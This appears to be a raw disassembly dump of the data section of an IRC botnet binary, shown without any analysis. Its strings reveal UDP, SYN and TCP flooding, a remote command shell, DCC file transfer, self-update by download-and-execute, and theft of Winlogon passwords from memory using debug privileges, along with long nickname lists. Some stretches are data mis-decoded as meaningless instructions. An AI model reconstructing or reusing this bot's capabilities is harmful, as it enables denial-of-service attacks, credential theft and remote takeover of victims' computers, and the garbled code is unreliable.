6F6B636Fh, 29287470h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 706D6369h, 202D0302h, 6B636F73h, 29287465h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 676E6970h, 202D0302h, 696E6966h, 64656873h dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh dd 0 dd 234032Dh, 676E6970h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh dd 2706475h, 66202D03h, 73696E69h, 20646568h, 646E6573h dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh dd 2706475h, 65202D03h, 726F7272h, 6E657320h, 676E6964h dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h dd 3026E79h, 6F44202Dh, 7720656Eh, 20687469h, 6F6F6C66h dd 25282064h, 2F424B69h, 29636573h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aDoneWithFloodI db '- Done with flood (%iKB/sec).',0 align 4 dword_437314 dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h ; DATA XREF: sub_4143AC+27Do dd 3C203A72h, 2E3E6425h, 0 dd 234032Dh, 67726174h, 3023361h, 6F44202Dh, 7720656Eh dd 20687469h, 6F6F6C66h, 2E64h, 234032Dh, 2706374h, 44202D03h dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch dd 2Eh, 234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h dd 65677261h, 50492074h, 2Eh, 234032Dh, 2706374h, 45202D03h dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h dd 3A64656Eh, 64253C20h, 2E3Eh, 234032Dh, 6E757374h, 2696D61h dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 53202D03h dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h dd 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 45202D03h dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 46202D03h dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 49202D03h dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh dd 2297064h, 45202D03h, 726F7272h, 6C616320h, 676E696Ch dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h dd 2E642520h, 0 db 2Dh ; - db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSo db '- Error calling socket().',0 align 10h db 2Dh ; - db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aDoneWithFloodP db 'Done with flood, ports hit: %s',0 align 4 aSD db '%s%d ',0 align 4 dword_437704 dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_415C76+35o dword_437718 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415C76+10o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415CEE+60o align 10h dword_437750 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h ; DATA XREF: sub_415D8E:loc_415DC3o dword_437764 dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h ; DATA XREF: sub_415D8E+20o dword_437778 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h ; DATA XREF: ___:00415EDDo dd 6574656Ch, 0 dword_437794 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h ; DATA XREF: ___:00415E40o dd 676E6974h, 0 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSendTo db '- failed to send to Remote command shell',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenRe db '- failed to open remote command shell',0 align 4 unk_437814 db 2Dh ; - ; DATA XREF: ___:00416274o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenSo db '- failed to open socket',0 align 4 dword_437838 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: ___:004164D9o ; ___:0041666Fo dd 726F72h unk_437850 db 2Dh ; - ; DATA XREF: ___:00416471o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0 align 4 unk_43787C db 2Dh ; - ; DATA XREF: ___:00416379o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aUnableToOpenSo db '- unable to open socket',0 align 10h dword_4378A0 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h ; DATA XREF: ___:00416342o dd 74756Fh dword_4378B8 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: ___:004162E1o dd 169h unk_4378D0 db 2Dh ; - ; DATA XREF: ___:0041629Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileDoesnTExis db '- file doesn',27h,'t exist',0 align 10h unk_4378F0 db 2Dh ; - ; DATA XREF: ___:004161F9o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToBindTo db '- failed to bind to socket',0 unk_437914 db 2Dh ; - ; DATA XREF: ___:004161BBo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToCrea_2 db '- failed to create socket',0 align 4 unk_437938 db 2Dh ; - ; DATA XREF: ___:004166E8o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceivedSFromS db '- received %s from %s (%s bytes).',0 align 4 unk_437964 db 2Dh ; - ; DATA XREF: ___:004165E4o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningSo db '- error opening socket',0 unk_437984 db 2Dh ; - ; DATA XREF: ___:004165C4o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningFi db '- error opening file for writing',0 align 10h aAB db 'a+b',0 ; DATA XREF: ___:004165B0o unk_4379B4 db 2Dh ; - ; DATA XREF: ___:0041659Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorUnableToW db '- error unable to write file to disk',0 align 4 unk_4379E4 db 2Dh ; - ; DATA XREF: ___:00416BE7o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aBadUrlOrDnsErr db 'bad url or dns error at %s.',0 unk_437A10 db 2Dh ; - ; DATA XREF: ___:00416BD9o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aUpdateFailedEr db 'update failed, error executing %s',0 align 4 unk_437A44 db 2Dh ; - ; DATA XREF: ___:00416B1Do db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0 align 4 dword_437A88 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh ; DATA XREF: ___:00416AACo dd 25206465h, 73h unk_437AA4 db 2Dh ; - ; DATA XREF: ___:00416A35o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0 align 4 unk_437ADC db 2Dh ; - ; DATA XREF: ___:004169B6o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongCrcDD_ db 'wrong crc (%d != %d).',0 align 4 unk_437B04 db 2Dh ; - ; DATA XREF: ___:0041692Co db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongFilesizeD db 'wrong filesize (%d != %d).',0 align 10h unk_437B30 db 2Dh ; - ; DATA XREF: ___:004168E9o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aGotUpdateSDkb_ db 'got update %s (%dKB).',0 align 4 unk_437B58 db 2Dh ; - ; DATA XREF: ___:004168D7o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadedSDkb db 'downloaded %s (%dKB)',0 align 10h unk_437B80 db 2Dh ; - ; DATA XREF: ___:004167CBo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0 align 4 aUnknown db 'Unknown',0 ; DATA XREF: sub_416CFC:loc_416D3Fo ; sub_4193FF+104o aInvalid db 'Invalid',0 ; DATA XREF: sub_416CFC:loc_416D39o aDisk db 'Disk',0 ; DATA XREF: sub_416CFC:loc_416D33o align 10h aNetwork db 'Network',0 ; DATA XREF: sub_416CFC:loc_416D2Do aCdrom db 'Cdrom',0 ; DATA XREF: sub_416CFC:loc_416D27o align 10h off_437BD0 dd offset word_4D4152 ; DATA XREF: sub_416CFC:loc_416D21o word_437BD4 dw 3Fh ; DATA XREF: sub_416CFC+1Fo ; sub_41AF2B:loc_41B02Dr align 4 aFailed db 'failed',0 ; DATA XREF: sub_416D8D:loc_416E65o ; sub_416EA8+3Bo align 10h aSkb db '%sKB',0 ; DATA XREF: sub_416D8D+6Bo align 4 unk_437BE8 db 2Dh ; - ; DATA XREF: sub_416EA8+8Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0 align 4 unk_437C24 db 2Dh ; - ; DATA XREF: sub_416EA8+58o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0 aA_1 db 'A:\',0 ; DATA XREF: sub_416F7A:loc_416FBFo db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h db 66h ; f db 6Fh, 75h, 6Eh db 64h ; d db 20h, 25h, 64h db 20h aFiles db 'files',0 align 4 db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingFor_0 db 'searching for file %s',0 align 4 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h dd 73252064h, 73255Ch, 2A5C7325h, 0 unk_437CD0 db 2Dh ; - ; DATA XREF: sub_417269:loc_4173E2o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToEnable db 'failed to enable debug privilege',0 align 4 unk_437D04 db 2Dh ; - ; DATA XREF: sub_417269:loc_4173B5o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindWi db 'unable to find winlogon pid',0 unk_437D30 db 2Dh ; - ; DATA XREF: sub_417269:loc_4173AEo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindTh db 'unable to find the password in memory',0 align 4 unk_437D68 db 2Dh ; - ; DATA XREF: sub_417269+117o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h db 57h ; W db 69h, 6Eh, 4Ch db 6Fh ; o db 67h, 6Fh, 6Eh db 20h db 49h, 6Eh, 66h db 6Fh ; o db 72h, 6Dh, 61h db 74h ; t db 69h, 6Fh, 6Eh db 20h db 28h, 50h, 49h db 44h ; D db 20h, 25h, 64h db 29h ; ) db 20h, 2Dh, 20h db 2 db 44h, 6Fh, 6Dh db 61h ; a db 69h, 6Eh, 2 db 3Ah ; : db 20h, 2 dup(5Ch) db 25h ; % db 53h, 2Ch, 20h db 2 db 55h, 73h, 65h db 72h ; r db 2, 3Ah, 20h aSNoPassword_ db '(%S/(no password)).',0 off_437DC4 dd offset byte_530055 ; DATA XREF: sub_417269+DCo dd offset byte_520045 dd offset dword_4F0044 dd offset loc_41004A+3 dd offset byte_4E0049 dd 0 off_437DDC dd offset byte_530055 ; DATA XREF: sub_417269+CEo dd offset byte_520045 dd offset loc_41004A+4 dd offset byte_45004D align 10h aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_417269+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_417269+8Do align 4 aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_417269+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_417269+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_417269+68o align 10h aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_417269+55o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_417269+40o ; sub_417269+161o ... align 10h unk_437EA0 db 2Dh ; - ; DATA XREF: sub_417269+35o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aOnlySupportedO db 'only supported on winnt/win2k',0 align 10h aMsgina db 'MSGINA',0 ; DATA XREF: sub_41743B+13Eo align 4 aNwgina db 'NWGINA',0 ; DATA XREF: sub_41743B+123o align 10h aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_41743B+AFo align 4 dword_437EEC dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_4178A1+70o ; sub_417938+C7o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h dword_437F3C dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_417938+E1o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h dd 2929h off_437F90 dd offset aQ ; DATA XREF: sub_417E35+5Cr ; "q" ; --------------------------------------------------------------------------- inc eax mov eax, [ebx+0] mov [ecx-394FFFBEh], dh inc edx add [esi+eax*8], ch inc edx add [ebx+ecx*4], bh inc ebx add ah, dl scasd inc edx add [eax-4FFFBD3Ah], al scasd inc edx add [eax], bl mov dl, 42h add [eax+380042C6h], cl mov eax, [ebx+0] xor al, 8Bh inc ebx add [eax], dh mov eax, [ebx+0] sub al, 8Bh inc ebx add [eax+680042B7h], al mov bh, 42h add [eax], ch mov eax, [ebx+0] and al, 8Bh inc ebx add [eax], ah mov eax, [ebx+0] cld retf 42h ; --------------------------------------------------------------------------- dd offset aV ; "v" dd offset dword_438B1C dd offset aN ; "n" dd offset aM ; "m" dd offset dword_438B18 dd offset dword_438B14 dd offset dword_438B10 dd offset dword_438B0C dd offset dword_438B08 dd offset word_438B04 dd offset dword_438B00 dd offset aI_0 ; "I" dd offset dword_438AFC dd offset dword_438AF8 dd offset aA_0 ; "A" dd offset dword_438AF4 dd offset dword_438AF0 dd offset dword_438AEC dd offset dword_438AE8 dd offset dword_438AE4 dd offset dword_438AE0 dd offset dword_438ADC dd offset dword_438AD8 dd offset dword_438AD4 dd offset dword_438AD0 dd offset dword_438ACC dd offset dword_438AC8 dd offset dword_438AC4 dd offset word_438AC0 dd offset aM_0 ; "M" dd offset aSmartmir ; "SMARTMIR" dd offset aFarooq ; "farooq" dd offset aMaxxguy ; "maxxguy" dd offset aBobmarley ; "BOBMARLEY" dd offset aEmilya ; "emilya" dd offset aKrizha ; "KRIZHA" dd offset aCar1nna ; "Car1nna" dd offset aSwin ; "swin" dd offset aMale ; "male" dd offset aKoko ; "koko" dd offset aFlexster ; "flexster" dd offset aKen ; "ken" dd offset aShez ; "Shez" dd offset aTalika ; "talika" dd offset aMarcy ; "marcy" dd offset aCme ; "cme" dd offset aHeval ; "heval" dd offset aBunty ; "bunty" dd offset aJanno ; "janno" dd offset aRimpy ; "rimpy" dd offset aNastysha ; "nastysha" dd offset aLuisa ; "Luisa" dd offset aTroller ; "troller" dd offset aManee ; "manee" dd offset aKermit ; "kermit" dd offset aPuregold ; "puregold" dd offset aCoredump ; "CoreDump" dd offset aImra ; "imra" dd offset aGirl ; "GirL" dd offset aCamel ; "CAMEL" dd offset aReshma ; "reshma" dd offset aKencing ; "Kencing" dd offset aThr45h3r5 ; "THR45H3R5" dd offset aCansuuuu ; "cansuuuu" dd offset aKaan38dent ; "kaan38dent" dd offset aErkan27 ; "erkan27" dd offset aHexaaa ; "hexaaa" dd offset aBerk19 ; "berk19" dd offset aObenibisevse ; "OBeNiBiSeVSe" dd offset aIrmal ; "irmal" dd offset aMisssunday ; "misssunday" dd offset aTolga34 ; "Tolga34" dd offset aJericho ; "JERICHO" dd offset aMary_0 ; "MARY" dd offset aAkin ; "AKIN" dd offset aMelekk ; "melekk" dd offset aTrend3 ; "trend3" dd offset aMERVE ; "M-E-R-V-E" dd offset aTekir ; "tekir" dd offset aVenedik34 ; "venedik34" dd offset aSevmekmi ; "sevmekmi" dd offset aSudenur ; "SUDENUR" dd offset aArzu ; "ARZU" dd offset aHaticem ; "haticem" dd offset aErnesto ; "ERNESTO" dd offset aAslii ; "aslii" dd offset aPiramit ; "PIRAMIT" dd offset aSamyeli21 ; "samyeli21" dd offset aRetg ; "RETG" dd offset aBlackpearl ; "blackpearl" dd offset aPelincik ; "pelincik" dd offset aAhmet ; "ahmet" dd offset aTurkyy ; "turkyy" dd offset aAnk32m ; "ank32m" dd offset aZack ; "ZACK" dd offset aIzmir39m ; "Izmir39m" dd offset aAlbina ; "albina" dd offset dword_438858 dd offset off_438854 dd offset aAnkh ; "ankh" dd offset aDonjuanm ; "Donjuanm" dd offset aBogac ; "bogac" dd offset aAlpay34m ; "alpay34m" dd offset aCongueror ; "CoNGuERoR" dd offset aDenizlim ; "DenizliM" dd offset aBerk19m ; "Berk19m" dd offset aDevran ; "devran" dd offset aArda ; "arda" dd offset aKeyiflisert ; "keyifliSERT" dd offset aMurat34M ; "murat34-m" dd offset aHakan3 ; "hakan3" dd offset aImirzali ; "IMIRZALI--" dd offset aRamtha ; "RAMTHA" dd offset aEmre ; "Emre--" dd offset aElmaazyok ; "elmaazyok" dd offset aEsmerkiz ; "Esmerkiz" dd offset aKebikec ; "kebikec" dd offset aFlord ; "FLoRD" dd offset aHoly ; "holy" dd offset aMahinur ; "MAHINUR" dd offset aSadikaellesme ; "SaDIkaEllesme" dd offset aAykut1 ; "aykut1" dd offset aKashmira ; "Kashmira" dd offset aSeviseli ; "SeViSeLi" dd offset aSugarboy ; "SUGARBOY-" dd offset aUzgun36 ; "uzgun36" dd offset aKumul ; "kumul" dd offset aAdalim ; "ADALIM" dd offset aUmut ; "umut-" dd offset aAnk32M ; "ANK-32-M" dd offset aDjspace ; "DJSPACE" dd offset aAnkar ; "Ankar" dd offset aFenerlee ; "FeNeRLee" dd offset aHayran ; "hayran" dd offset aAngelgirl ; "angelgirl" dd offset aKapk ; "kapk" dd offset aAchilles ; "Achilles" dd offset aTegmen ; "TEGMEN" dd offset aKotan ; "kotan" dd offset aSevda ; "sevda" dd offset off_4386C0 dd offset aAlcatras ; "alcatras" dd offset aA44m ; "a44m" dd offset aBirsen ; "birsen" dd offset aYabanc ; "yabanc" dd offset aDevre ; "devre" dd offset aErkan ; "erkan" dd offset aAnkm ; "ankM" dd offset aAdem28 ; "Adem28" dd offset aMaxsilla ; "maxsilla" dd offset aM41ist ; "M41IST" dd offset aAdamm33 ; "AdAMM33" dd offset aFirtina ; "firtina" dd offset aAta29 ; "Ata29" dd offset aKoray ; "KORAY" dd offset aAkden ; "akden" dd offset aIzmirlm ; "izmirlm" dd offset aUla ; "ula" dd offset aNeHaber ; "NE-HABER" dd offset aPassenger ; "passenger" dd offset aTropikal ; "tropikal" dd offset aCool30m ; "cool30m" dd offset aCem39 ; "cem39" dd offset aRerpjj ; "RERPJJ" dd offset aTeoman ; "TEOMAN```" dd offset aDallas43m ; "DALLAS43M" ; --------------------------------------------------------------------------- aam 85h inc ebx add al, cl test [ebx+0], eax rol byte ptr [ebp-7A4BFFBDh], 43h loc_43828B: ; DATA XREF: sub_417E35+41r ; sub_417E35+ECr add [eax-0BFFBC7Bh], ch xchg eax, ebp inc edx add [ebp+eax*4-7A5FFFBDh], ah inc ebx add [eax-6BFFBC7Bh], bl test [ebx+0], eax nop test [ebx+0], eax mov [ebp-7A7FFFBDh], al inc ebx add [eax-7Bh], bh inc ebx add [eax-7Bh], dh inc ebx add [eax-7Bh], ch inc ebx add [eax-7Bh], ah inc ebx add [eax-7Bh], bl inc ebx add [eax-7Bh], dl inc ebx add [ebp+eax*4+43h], al add ds:85340043h[eax*4], bh inc ebx add [eax], dh test [ebx+0], eax sub [ebp-74E3FFBDh], al inc ebx add ah, bh retf 42h ; --------------------------------------------------------------------------- dd offset dword_438B38 dd offset aE ; "e" dd offset dword_438B34 dd offset dword_438B30 dd offset dword_438B2C dd offset aI ; "i" dd offset dword_42B938 dd offset aJ ; "j" dd offset aK ; "k" dd offset dword_438B28 dd offset aM ; "m" dd offset aN ; "n" dd offset aO ; "o" dd offset aP ; "p" dd offset aQ ; "q" dd offset aRs ; "rs" dd offset aT ; "t" dd offset aU ; "u" dd offset aV ; "v" dd offset dword_438B40 dd offset dword_438B20 dd offset dword_438B3C dd offset dword_438B24 dd offset aHappy ; "happy" dd offset aRg ; "rg" dd offset aTy ; "ty" dd offset aGf ; "gf" dd offset aRt ; "rt" dd offset aSdf ; "sdf" dd offset aUi ; "ui" dd offset aLuvy ; "luvy" dd offset aTrimy ; "trimy" dd offset aTruck ; "truck" dd offset aMuckc ; "muckc" dd offset dword_438B24 dd offset dword_438B30 dd offset aS_0 ; "s" dd offset aQ ; "q" dd offset off_4384E0 dd offset aBbl ; "|bbl" dd offset byte_43B4B8 dd offset byte_43B4B8 dd offset a___0 ; "_|_" dd offset byte_43B4B8 dd offset byte_43B4B8 dd offset byte_43B4B8 dd offset byte_43B4B8 dd offset dword_438AEC dd offset aM_0 ; "M" dd offset aLuvu ; "LUVU" dd offset aSad ; "Sad" dd offset aF_2 ; "^^^f^" dd offset dword_438B1C dd offset byte_43B4B8 dd offset aSleeping ; "Sleeping" dd offset byte_43B4B8 dd offset byte_43B4B8 dd offset aFuck_0 ; "Fuck" dd offset aFree ; "Free" dd offset byte_43B4B8 dd offset byte_43B4B8 dd offset dword_438AD0 dd offset byte_43B4B8 dd offset off_4384A0 dd offset aGirl_0 ; "GIRL" dd offset aGurl ; "gurl" dd offset aShit ; "shit" dd offset aAha ; "aha" dd offset aYeah ; "yeah" dd offset aMuha ; "muha" dd offset aMof0 ; "mof0" dd offset aMofo ; "mofo" dd offset dword_438460 dd offset dword_43845C dd offset dword_438454 dd offset dword_438448 dd offset dword_438440 dd offset dword_438438 dd offset dword_438430 dd offset dword_43842C dd offset dword_438428 dword_438428 dd 7536h ; DATA XREF: ___:00438424o dword_43842C dd 7535h ; DATA XREF: ___:00438420o dword_438430 dd 7C75347Ch, 0 ; DATA XREF: ___:0043841Co dword_438438 dd 6F79347Bh, 7D75h ; DATA XREF: ___:00438418o dword_438440 dd 7375347Ch, 7Ch ; DATA XREF: ___:00438414o dword_438448 dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438410o dword_438454 dd 6F6C6F6Ch, 7C617Ch ; DATA XREF: ___:0043840Co dword_43845C dd 6C6F6Ch ; DATA XREF: ___:00438408o dword_438460 dd 746F74h ; DATA XREF: ___:00438404o aMofo db 'mofo',0 ; DATA XREF: ___:00438400o align 4 aMof0 db 'mof0',0 ; DATA XREF: ___:004383FCo align 4 aMuha db 'muha',0 ; DATA XREF: ___:004383F8o align 4 aYeah db 'yeah',0 ; DATA XREF: ___:004383F4o align 4 aAha db 'aha',0 ; DATA XREF: ___:004383F0o aShit db 'shit',0 ; DATA XREF: ___:004383ECo align 10h aGurl db 'gurl',0 ; DATA XREF: ___:004383E8o align 4 aGirl_0 db 'GIRL',0 ; DATA XREF: ___:004383E4o align 10h off_4384A0 dd offset word_594F42 ; DATA XREF: ___:004383E0o aFree db 'Free',0 ; DATA XREF: ___:004383CCo align 4 aFuck_0 db 'Fuck',0 ; DATA XREF: ___:004383C8o align 4 aSleeping db 'Sleeping',0 ; DATA XREF: ___:004383BCo align 10h aF_2 db '^^^f^',0 ; DATA XREF: ___:004383B0o align 4 aSad db 'Sad',0 ; DATA XREF: ___:004383ACo aLuvu db 'LUVU',0 ; DATA XREF: ___:004383A8o align 4 a___0 db '_|_',0 ; DATA XREF: ___:0043838Co aBbl db '|bbl',0 ; DATA XREF: ___:00438380o align 10h off_4384E0 dd offset loc_425241+1 ; DATA XREF: ___:0043837Co aMuckc db 'muckc',0 ; DATA XREF: ___:00438368o align 4 aTruck db 'truck',0 ; DATA XREF: ___:00438364o align 4 aTrimy db 'trimy',0 ; DATA XREF: ___:00438360o align 4 aLuvy db 'luvy',0 ; DATA XREF: ___:0043835Co align 4 aUi db 'ui',0 ; DATA XREF: ___:00438358o align 4 aSdf db 'sdf',0 ; DATA XREF: ___:00438354o aRt db 'rt',0 ; DATA XREF: ___:00438350o align 10h aGf db 'gf',0 ; DATA XREF: ___:0043834Co align 4 aTy db 'ty',0 ; DATA XREF: ___:00438348o align 4 aRg db 'rg',0 ; DATA XREF: ___:00438344o align 4 aHappy db 'happy',0 ; DATA XREF: ___:00438340o align 4 aRs db 'rs',0 ; DATA XREF: ___:00438320o align 4 aQ8A db '|q8|a',0 align 10h aQ8 db 'Q8',0 align 4 aSick db 'sick}}',0 align 4 aWiked db '|wiked|',0 aLuvuF db '||luvu-f|',0 align 10h aGens db '{gens|',0 align 4 aSex_0 db '{sex}',0 align 10h aHub db '{hub}',0 align 4 aLuck db '|luck|',0 align 10h aSuck db '|suck|',0 align 4 aTot db '-|tot|',0 align 10h aWoh db '|woh|',0 align 4 aTambe db '|tambe|',0 aLag db 'lag',0 aBad db 'bad',0 aTree db 'tree',0 align 10h aZex db 'zex',0 aLez db 'lez',0 aWantedlove db 'WANTEDLOVE',0 align 4 aCumhur29 db 'cumhur29',0 align 10h aAdamm db 'ADAMM',0 align 4 aMaveRIck db 'MaVe{R}icK',0 align 4 aPrometheus db 'prometheus',0 align 10h aDallas43m db 'DALLAS43M',0 ; DATA XREF: ___:00438278o align 4 aTeoman db 'TEOMAN```',0 ; DATA XREF: ___:00438274o align 4 aRerpjj db 'RERPJJ',0 ; DATA XREF: ___:00438270o align 10h aCem39 db 'cem39',0 ; DATA XREF: ___:0043826Co align 4 aCool30m db 'cool30m',0 ; DATA XREF: ___:00438268o aTropikal db 